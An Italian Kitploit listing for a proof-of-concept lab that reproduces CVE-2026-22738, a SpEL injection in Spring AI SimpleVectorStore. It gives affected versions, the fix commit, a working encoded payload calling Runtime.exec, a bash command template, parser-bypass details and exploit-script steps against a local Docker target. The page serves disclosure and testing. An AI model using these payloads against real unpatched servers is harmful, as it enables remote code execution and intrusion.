Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-22738 — SpEL Injection tramite chiave di filtro non escapata in SimpleVectorStore porta a esecuzione remota di codice | Kitploit
Strumenti/GitHubGitHub/rockmelodies/cve-2026-22738
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadTrojan di Accesso Remoto
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

SpEL Injection tramite chiave di filtro non escapata in SimpleVectorStore porta a esecuzione remota di codice

Vedi Repository
21176 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ambiente di riproduzione CVE-2026-22738

img.png

Descrizione della vulnerabilità

CVE-2026-22738 è una vulnerabilità di iniezione SpEL (Spring Expression Language) in Spring AI SimpleVectorStore che può portare all'esecuzione remota di codice (RCE) non autenticata.

Versioni interessate

ArtifactVersioni interessateVersione corretta
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

Nota: questo progetto utilizza la versione stabile spring-ai-core:1.0.0 per la riproduzione della vulnerabilità.

Commit di correzione: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

Principio della vulnerabilità

Il metodo SimpleVectorStore.similaritySearch() passa il nome della chiave del filtro fornito dall'utente direttamente al template SpEL, che viene valutato tramite StandardEvaluationContext. Poiché StandardEvaluationContext espone l'intera API di reflection JVM, un attaccante può iniettare:

T(java.lang.Runtime).getRuntime().exec(...)

aggiungendo la chiave del filtro per ottenere l'esecuzione di comandi del sistema operativo non autenticata.

Riproduzione della vulnerabilità

Utilizzare il seguente payload, notare che è necessaria una codifica URL

"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

Passare il payload al parametro filterKey per aprire con successo la calcolatrice img_1.png

Dettagli del bypass

Il semplice metodo di iniezione non funziona direttamente: è necessario superare due peculiarità del parser:

  1. Rimozione degli apici singoli — una chiave che inizia con un apice singolo ' viene trattata come stringa tra virgolette; le virgolette esterne vengono rimosse, rompendo il payload.

  2. Wrapper con virgolette doppie — avvolgere il payload tra virgolette doppie "..." fa sì che il parser rimuova le virgolette doppie esterne, preservando l'espressione SpEL interna come valore della chiave passato al parser #metadata['<KEY>'].

  3. Chiave metadata vuota — #metadata[''] viene utilizzata su entrambi i lati dell'espressione iniettata (invece di una variabile non definita) per evitare l'errore SpEL di variabile sconosciuta, attivando comunque exec().

L'espressione calcolata assume la seguente forma:

#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Indicatori di successo

Il corpo della risposta HTTP conterrà l'errore di runtime SpEL EL1030E:

operator ADD not supported between null and java.lang.ProcessImpl

Questo errore viene generato dopo il ritorno di exec(), confermando l'esecuzione del comando a livello di sistema operativo senza bisogno di callback out-of-band.

Configurazione dell'ambiente

Prerequisiti

  • Docker e Docker Compose
  • Python 3 + libreria requests (pip install requests)

Creazione ed esecuzione dell'ambiente vulnerabile

# Creare e avviare i container
docker compose up -d --build

# Visualizzare i log
docker compose logs -f

Esecuzione dello script di exploit

# Installare le dipendenze
pip install requests

# Eseguire l'exploit (attendere l'avvio dell'applicazione)
python3 exploit.py --wait

# Oppure specificare il target
python3 exploit.py --target http://localhost:8082 --wait

Descrizione dei parametri

FlagValore predefinitoDescrizione
--targethttp://localhost:8082URL di base dell'applicazione vulnerabile
--waitdisattivatoEsegue il polling finché il target non è pronto (utile dopo docker compose up)

Nota: Docker Desktop (macOS/Windows) utilizza host.docker.internal per i callback, payload 127.0.0.1.

Passaggi dell'exploit

Il flusso della proof of concept comprende cinque passaggi consecutivi:

  1. Verifica di base — conferma che l'endpoint sia raggiungibile e restituisca i dati seed
  2. Sonda SpEL cieca — conferma il punto di iniezione leggendo java.version tramite T(java.lang.System)
  3. RCE: touch /tmp/pwned_cve_2026_22738 all'interno del container
  4. RCE: scrive l'output di id // uname // hostname in /tmp/rce_proof.txt
  5. Verifica: stampa il contenuto del file di prova tramite docker exec

Struttura del progetto

├── Dockerfile                    # File di build Docker
├── docker-compose.yml            # Configurazione Docker Compose
├── pom.xml                       # Configurazione del progetto Maven
├── settings.xml                  # Impostazioni Maven (include repository Spring)
├── exploit.py                    # Script di exploit
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Classe principale Spring Boot
    ├── VulnController.java           # Controller vulnerabile
    ├── VectorStoreConfig.java        # Configurazione VectorStore
    └── DummyEmbeddingModel.java      # Modello Embedding simulato

Test locale (senza Docker)

# Compilare il progetto
mvn clean package -DskipTests

# Eseguire l'applicazione
java -jar target/spel-rce-lab-1.0.0.jar

# In un altro terminale eseguire l'exploit
python3 exploit.py --target http://localhost:8082

Riferimenti

  • CVE-2026-22738
  • Commit di correzione Spring AI
  • Progetto PoC originale
Scarica lo strumento